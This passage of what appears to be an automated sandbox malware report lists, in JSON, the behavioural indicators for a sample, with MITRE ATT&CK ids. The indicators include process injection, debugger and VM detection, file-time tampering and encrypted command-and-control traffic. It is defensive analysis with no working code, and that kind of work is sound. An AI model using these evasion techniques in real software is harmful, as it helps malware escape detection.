\"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-167","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in \"sample.bin\", Found system information discovery API: \"GetEnvironmentStringsW\" in \"sample.bin\", Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"sample.bin\"), Found reference to API \"FindWindowExW\" (Indicator: \"findwindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"sample.bin\"), Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-901","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; Source: \"sample.bin\"), Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-247","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1029","id":"string-365","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"sample.bin\"), Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-413","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\"), Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055","id":"string-92","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-304","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-409","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\"), Found reference to API \"\nWaitForMultipleObjects error %d, GetLastError %d\" (Indicator: \"WaitForMultipleObjects\"; Source: \"sample.bin\"), Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://schemas.microsoft.com/smi/2005/windowssettings\", Heuristic match: \"to9.uk\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1486","id":"string-920","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-438","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-195","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-212","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\"), Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1486","id":"string-108","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\"), Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"123.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00001540)\n \"123.exe\" called \"FindResourceW\" with parameter \"3933736\" - (UID: 00000000-00001540)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"123.exe\" called \"LoadResource with parameter {'hModule': '3735552', 'hResInfo': '4117504'}\" (UID: 00000000-00001540)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"123.exe\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to API \"CreateRemoteThreadEx\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00006604.00000002.109859.738D1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to detect presence of virtual environment (API string)","description":"Found reference to API \"SetupDiGetClassDevsA\" (Indicator: \"SetupDiGetClassDevs\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-253","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; File: \"123.exe\")\n Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; File: \"123.exe\")\n Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"123.exe\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"HTCTL32.DLL\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"HTCTL32.DLL\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00006604.00000000.106018.73790000.00000002.mdmp, 00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"SHA384\"; File: \"remcmdstub.exe\")\n Found reference to \"!\"Unable to continue\n no Aes server\"\" (Indicator: \"Aes\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to \"Rijndael\" (Indicator: \"Rijndael\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to \"SnmpUtilOidNCmp\" (Indicator: \"Oid\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to \"SnmpUtilOidCpy\" (Indicator: \"Oid\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found reference to \".?AVCEncryptRijndael@@\" (Indicator: \"Rijndael\"; Source: \"00000000-00006604.00000002.109859.111E1000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"$29","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Loads the debugger/analysis tool module","description":"\"bild.exe\" loaded module \"%WINDIR%\\SysWOW64\\dbghelp.dll\" at 732D0000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"123.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"123.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"123.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"Found string \"& ( 2 9 < D ^ p t\" (Indicator: \" ^ \"; Source: \"00000000-00006604.00000000.106018.032C0000.00000004.mdmp, 00000000-00006604.00000001.107938.032C0000.00000004.mdmp, 00000000-00006604.00000002.109859.032C0000.00000004.mdmp\")\n Found string \"Percentage\tResponses8Invalid characters(s): , ; | < > ! $ % ^ & * { } # ~ + =\" (Indicator: \" ^ \"; Source: \"00000000-00006604.00000000.106018.111F6000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.940330546772841","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains key cryptographic functions (API string)\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Spawned process connects to a network","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3F709462-4AD7-482F-8761-C6ED6AD145A1}\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00006604.00000001.107938.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"123.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001540)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"123.exe\" called \"GetWindowTextW\" with parameter \"210430043c043e044004300441043f0430043a043e0432044b04320430044e0449043804390441044f042000300440044504380432042000570069006e00520041005200\" - (UID: 00000000-00001540)\n \"123.exe\" called \"GetWindowTextW\" (UID: 00000000-00001540)\n \"123.exe\" called \"GetWindowTextW\" with parameter \"26001f0430043f043a04300420003d04300437043d043004470435043d0438044f04\" - (UID: 00000000-00001540)\n \"123.exe\" called \"GetWindowTextW\" with parameter \"26001e04310437043e0440042e002e002e00\" - (UID: 00000000-00001540)\n \"123.exe\" called \"GetWindowTextW\" with parameter \"25043e043404200043044104420430043d043e0432043a043804\" - (UID: 00000000-00001540)\n \"123.exe\" called \"GetWindowTextW\" with parameter \"23044104420430043d043e043204380442044c04\" - (UID: 00000000-00001540)\n \"123.exe\" called \"GetWindowTextW\" with parameter \"1e0442043c0435043d043004\" - (UID: 00000000-00001540)\n \"123.exe\" called \"GetWindowTextW\" with parameter \"%PUBLIC%\\Public\\Videos\\Video\\\" - (UID: 00000000-00001540)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"123.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001540)\n \"cmd.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006244)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API 